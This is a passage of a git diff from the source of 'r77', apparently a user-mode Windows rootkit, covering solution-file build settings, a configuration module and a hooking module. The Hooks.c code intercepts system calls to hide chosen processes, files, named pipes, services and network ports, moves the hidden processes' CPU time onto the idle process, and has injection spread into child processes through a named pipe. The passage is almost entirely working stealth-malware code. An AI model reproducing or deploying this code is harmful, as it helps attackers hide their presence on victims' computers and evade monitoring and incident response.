Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.Build.0 = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x64.ActiveCfg = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x64.Build.0 = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x86.ActiveCfg = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x86.Build.0 = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.ActiveCfg = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.Build.0 = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x64.ActiveCfg = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x64.Build.0 = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x86.ActiveCfg = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x86.Build.0 = Release|Win32 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.ActiveCfg = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.Build.0 = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x64.ActiveCfg = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x64.Build.0 = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x86.ActiveCfg = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x86.Build.0 = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.ActiveCfg = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.Build.0 = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x64.ActiveCfg = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x64.Build.0 = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x86.ActiveCfg = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x86.Build.0 = Release|x64 + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x64.ActiveCfg = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x64.Build.0 = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x86.ActiveCfg = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x86.Build.0 = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.Build.0 = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x64.ActiveCfg = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x64.Build.0 = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x86.ActiveCfg = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x86.Build.0 = Release|Any CPU + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.Build.0 = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x64.ActiveCfg = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x64.Build.0 = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x86.ActiveCfg = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x86.Build.0 = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.ActiveCfg = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.Build.0 = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x64.ActiveCfg = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x64.Build.0 = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x86.ActiveCfg = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x86.Build.0 = Release|Win32 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.ActiveCfg = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.Build.0 = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x64.ActiveCfg = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x64.Build.0 = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x86.ActiveCfg = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x86.Build.0 = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.ActiveCfg = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.Build.0 = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x64.ActiveCfg = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x64.Build.0 = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x86.ActiveCfg = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x86.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {F0005D08-6278-4BFE-B492-F86CCEC797D5} = {48D99D12-84EF-4BB3-946F-1366B9AA60B3} + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {48D99D12-84EF-4BB3-946F-1366B9AA60B3} + {86F8C733-F773-4AD8-9282-3F99953261FD} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {E6543F7A-4E58-4C55-975E-ED975481EBE8} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {525FD9EB-628A-4D93-B320-3C1DFA0A216D} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {6E4BB100-C3C9-4CF7-A637-08C2482C6B94} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {46E171D4-1811-48BE-8867-A63C28761D28} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1} + EndGlobalSection + GlobalSection(SharedMSBuildProjectFiles) = preSolution + r77api\r77api.vcxitems*{00d7268a-92a9-4cd4-addf-175e9bf16ae0}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 + r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 + r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 + Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4 + Service\Service.vcxitems*{46e171d4-1811-48be-8867-a63c28761d28}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{525fd9eb-628a-4d93-b320-3c1dfa0a216d}*SharedItemsImports = 9 + r77\r77.vcxitems*{6e4bb100-c3c9-4cf7-a637-08c2482c6b94}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 + Service\Service.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 + Helper\Helper.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{bce48dae-232e-4b3d-b5b5-d0b29bb7e9de}*SharedItemsImports = 4 + InstallShellcode\InstallShellcode.vcxitems*{deab25fd-2042-4bd6-bf4b-0802dccc70f5}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 + Service\Service.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 + Helper\Helper.vcxitems*{e6543f7a-4e58-4c55-975e-ed975481ebe8}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{f0005d08-6278-4bfe-b492-f86ccec797d5}*SharedItemsImports = 4 + EndGlobalSection +EndGlobal diff --git a/src/r77/Config.cpp b/r77/Config.c similarity index 63% rename from src/r77/Config.cpp rename to r77/Config.c index 4cab992..010fe6a 100644 --- a/src/r77/Config.cpp +++ b/r77/Config.c @@ -1,92 +1,82 @@ -#include "r77.h" +#include "Config.h" +#include "r77win.h" -HANDLE Config::Thread = NULL; -PR77_CONFIG Config::Configuration = NULL; - -void Config::Initialize() +VOID InitializeConfig() { // The configuration is read periodically in a background thread. - if (!Thread) - { - Thread = CreateThread(NULL, 0, UpdateThread, NULL, 0, NULL); - } + ConfigThread = CreateThread(NULL, 0, UpdateConfigThread, NULL, 0, NULL); } -void Config::Shutdown() +VOID UninitializeConfig() { - if (Thread) + TerminateThread(ConfigThread, 0); +} +static DWORD WINAPI UpdateConfigThread(LPVOID parameter) +{ + Configuration = LoadR77Config(); + + while (TRUE) { - TerminateThread(Thread, 0); - Thread = NULL; + // Interval should not be too small, because this thread is running in every injected process. + Sleep(1000); + + PR77_CONFIG newConfiguration = LoadR77Config(); + + if (CompareR77Config(Configuration, newConfiguration)) + { + // Configuration hasn't changed. + DeleteR77Config(newConfiguration); + } + else + { + // Store configuration only if it has changed to avoid threading errors. + PR77_CONFIG oldConfiguration = Configuration; + Configuration = newConfiguration; + DeleteR77Config(oldConfiguration); + } } + + return 0; } -bool Config::IsProcessIdHidden(DWORD processId) +BOOL IsProcessIdHidden(DWORD processId) { return Configuration && IntegerListContains(Configuration->HiddenProcessIds, processId); } -bool Config::IsProcessNameHidden(LPCWSTR name) +BOOL IsProcessNameHidden(LPCWSTR name) { return Configuration && StringListContains(Configuration->HiddenProcessNames, name); } -bool Config::IsProcessNameHidden(UNICODE_STRING name) +BOOL IsProcessNameHiddenU(UNICODE_STRING name) { PWCHAR chars = ConvertUnicodeStringToString(name); if (chars) { - bool result = IsProcessNameHidden(chars); - delete[] chars; + BOOL result = IsProcessNameHidden(chars); + FREE(chars); return result; } else { - return false; + return FALSE; } } -bool Config::IsPathHidden(LPCWSTR path) +BOOL IsPathHidden(LPCWSTR path) { return Configuration && StringListContains(Configuration->HiddenPaths, path); } -bool Config::IsServiceNameHidden(LPCWSTR name) +BOOL IsServiceNameHidden(LPCWSTR name) { return Configuration && StringListContains(Configuration->HiddenServiceNames, name); } -bool Config::IsTcpLocalPortHidden(USHORT port) +BOOL IsTcpLocalPortHidden(USHORT port) { return Configuration && IntegerListContains(Configuration->HiddenTcpLocalPorts, port); } -bool Config::IsTcpRemotePortHidden(USHORT port) +BOOL IsTcpRemotePortHidden(USHORT port) { return Configuration && IntegerListContains(Configuration->HiddenTcpRemotePorts, port); } -bool Config::IsUdpPortHidden(USHORT port) +BOOL IsUdpPortHidden(USHORT port) { return Configuration && IntegerListContains(Configuration->HiddenUdpPorts, port); -} - -DWORD WINAPI Config::UpdateThread(LPVOID parameter) -{ - Configuration = LoadR77Config(); - - while (true) - { - // Interval should not be too small, because this thread is running in every injected process. - Sleep(1000); - - PR77_CONFIG newConfiguration = LoadR77Config(); - - if (CompareR77Config(Configuration, newConfiguration)) - { - // Configuration hasn't changed. - DeleteR77Config(newConfiguration); - } - else - { - // Store configuration only if it has changed to avoid threading errors. - PR77_CONFIG oldConfiguration = Configuration; - Configuration = newConfiguration; - DeleteR77Config(oldConfiguration); - } - } - - return 0; } \ No newline at end of file diff --git a/r77/Config.h b/r77/Config.h new file mode 100644 index 0000000..f511bfa --- /dev/null +++ b/r77/Config.h @@ -0,0 +1,91 @@ +#include "r77config.h" +#ifndef _CONFIG_H +#define _CONFIG_H + +static HANDLE ConfigThread; +static PR77_CONFIG Configuration; + +/// +/// Initializes the configuration system. +/// +VOID InitializeConfig(); +/// +/// Uninitializes the configuration system. +/// +VOID UninitializeConfig(); +static DWORD WINAPI UpdateConfigThread(LPVOID parameter); + +/// +/// Determines whether a process should be hidden based on a specific process ID. +/// +/// The process ID to check. +/// +/// TRUE, if the process with the specified ID should be hidden; +/// otherwise, FALSE. +/// +BOOL IsProcessIdHidden(DWORD processId); +/// +/// Determines whether a process should be hidden based on a specific name. +/// +/// The process name to check. +/// +/// TRUE, if the process with the specified name should be hidden; +/// otherwise, FALSE. +/// +BOOL IsProcessNameHidden(LPCWSTR name); +/// +/// Determines whether a process should be hidden based on a specific name. +/// +/// The process name to check. +/// +/// TRUE, if the process with the specified name should be hidden; +/// otherwise, FALSE. +/// +BOOL IsProcessNameHiddenU(UNICODE_STRING name); +/// +/// Determines whether a file or directory should be hidden based on its full path. +/// +/// The full path to check. +/// +/// TRUE, if the file or directory with the specified full path should be hidden; +/// otherwise, FALSE. +/// +BOOL IsPathHidden(LPCWSTR path); +/// +/// Determines whether a service should be hidden based on a specific name. +/// +/// The service name to check. +/// +/// TRUE, if the service with the specified name should be hidden; +/// otherwise, FALSE. +/// +BOOL IsServiceNameHidden(LPCWSTR name); +/// +/// Determines whether a local TCP port should be hidden. +/// +/// The TCP port to check. +/// +/// TRUE, if the local TCP port should be hidden; +/// otherwise, FALSE. +/// +BOOL IsTcpLocalPortHidden(USHORT port); +/// +/// Determines whether a remote TCP port should be hidden. +/// +/// The TCP port to check. +/// +/// TRUE, if the remote TCP port should be hidden; +/// otherwise, FALSE. +/// +BOOL IsTcpRemotePortHidden(USHORT port); +/// +/// Determines whether a UDP port should be hidden. +/// +/// The UDP port to check. +/// +/// TRUE, if the UDP port should be hidden; +/// otherwise, FALSE. +/// +BOOL IsUdpPortHidden(USHORT port); + +#endif \ No newline at end of file diff --git a/r77/Hooks.c b/r77/Hooks.c new file mode 100644 index 0000000..95d30e2 --- /dev/null +++ b/r77/Hooks.c @@ -0,0 +1,659 @@ +#include "Hooks.h" +#include "Rootkit.h" +#include "Config.h" +#include "r77mindef.h" +#include "r77def.h" +#include "r77win.h" +#include "ntdll.h" +#include "r77runtime.h" +#include "detours.h" +#include +#include + +VOID InitializeHooks() +{ + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); + InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread); + InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); + InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); + InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey); + InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); + InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW); + InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); + InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); + InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); + DetourTransactionCommit(); + + // Usually, ntdll.dll should be the only DLL to hook. + // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected. + // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC. There is no longer one single syscall wrapper function to hook, but multiple higher level functions. + // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there. +} +VOID UninitializeHooks() +{ + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + UninstallHook(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); + UninstallHook(OriginalNtResumeThread, HookedNtResumeThread); + UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); + UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); + UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey); + UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); + UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW); + UninstallHook(OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); + UninstallHook(OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); + UninstallHook(OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); + DetourTransactionCommit(); +} + +static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction) +{ + *originalFunction = GetFunction(dll, function); + if (*originalFunction) DetourAttach(originalFunction, hookedFunction); +} +static VOID UninstallHook(LPVOID originalFunction, LPVOID hookedFunction) +{ + if (originalFunction && hookedFunction) DetourDetach(&originalFunction, hookedFunction); +} + +static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength) +{ + // returnLength is important, but it may be NULL, so wrap this value. + ULONG newReturnLength; + NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength); + if (returnLength) *returnLength = newReturnLength; + + if (NT_SUCCESS(status)) + { + // Hide processes + if (systemInformationClass == SystemProcessInformation) + { + // Accumulate CPU usage of hidden processes. + LARGE_INTEGER hiddenKernelTime = { 0 }; + LARGE_INTEGER hiddenUserTime = { 0 }; + LONGLONG hiddenCycleTime = 0; + + for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) + { + if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName)) + { + hiddenKernelTime.QuadPart += current->KernelTime.QuadPart; + hiddenUserTime.QuadPart += current->UserTime.QuadPart; + hiddenCycleTime += current->CycleTime; + + if (previous) + { + if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset; + else previous->NextEntryOffset = 0; + } + else + { + if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset; + else systemInformation = NULL; + } + } + else + { + previous = current; + } + + if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); + else current = NULL; + } + + // Add CPU usage of hidden processes to the System Idle Process. + for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) + { + if (current->ProcessId == 0) + { + current->KernelTime.QuadPart += hiddenKernelTime.QuadPart; + current->UserTime.QuadPart += hiddenUserTime.QuadPart; + current->CycleTime += hiddenCycleTime; + break; + } + + previous = current; + + if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); + else current = NULL; + } + } + // Hide CPU usage + else if (systemInformationClass == SystemProcessorPerformanceInformation) + { + // ProcessHacker graph per CPU + LARGE_INTEGER hiddenKernelTime = { 0 }; + LARGE_INTEGER hiddenUserTime = { 0 }; + if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL)) + { + ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION); + for (ULONG i = 0; i < numberOfProcessors; i++) + { + //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors + PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i]; + performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors; + performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors; + performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors; + } + } + } + // Hide CPU usage + else if (systemInformationClass == SystemProcessorIdleCycleTimeInformation) + { + // ProcessHacker graph for all CPU's + LONGLONG hiddenCycleTime = 0; + if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime)) + { + ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER); + for (ULONG i = 0; i < numberOfProcessors; i++) + { + ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors; + } + } + } + } + + return status; +} +static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount) +{ + // Child process hooking: + // When a process is created, its parent process calls NtResumeThread to start the new process after process creation is completed. + // At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread should be called. + // To inject the process, a connection to the r77 service is performed through a named pipe. + // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed here. + + DWORD processId = GetProcessIdOfThread(thread); + if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child process + { + BOOL is64Bit; + if (Is64BitProcess(processId, &is64Bit)) + { + // Call either the 32-bit or the 64-bit r77 service and pass the process ID. + HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (pipe != INVALID_HANDLE_VALUE) + { + // Send the process ID to the r77 service. + DWORD bytesWritten; + WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL); + + // Wait for the response. NtResumeThread should be called after r77 is injected. + BYTE returnValue; + DWORD bytesRead; + ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL); + + CloseHandle(pipe); + } + } + } + + // This function returns, *after* injection is completed. + return OriginalNtResumeThread(thread, suspendCount); +} +static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan) +{ + NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); + + // Hide files, directories and named pipes + if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation)) + { + LPVOID current = fileInformation; + LPVOID previous = NULL; + ULONG nextEntryOffset; + + WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; + WCHAR fileFileName[MAX_PATH + 1] = { 0 }; + WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; + + if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); + else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); + + do + { + nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); + + if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) + { + if (nextEntryOffset) + { + RtlCopyMemory + ( + current, + (LPBYTE)current + nextEntryOffset, + (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) + ); + continue; + } + else + { + if (current == fileInformation) status = STATUS_NO_MORE_FILES; + else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); + break; + } + } + + previous = current; + current = (LPBYTE)current + nextEntryOffset; + } + while (nextEntryOffset); + } + + return status; +} +static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName) +{ + NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); + + // Hide files, directories and named pipes + // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of NtQueryDirectoryFile. + if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation)) + { + WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; + WCHAR fileFileName[MAX_PATH + 1] = { 0 }; + WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; + + if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); + else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); + + if (queryFlags & SL_RETURN_SINGLE_ENTRY) + { + // When returning a single entry, skip until the first item is found that is not hidden. + for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName)))) + { + status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); + if (status) break; + } + } + else + { + LPVOID current = fileInformation; + LPVOID previous = NULL; + ULONG nextEntryOffset; + + do + { + nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); + + if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) + { + if (nextEntryOffset) + { + RtlCopyMemory + ( + current, + (LPBYTE)current + nextEntryOffset, + (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) + ); + continue; + } + else + { + if (current == fileInformation) 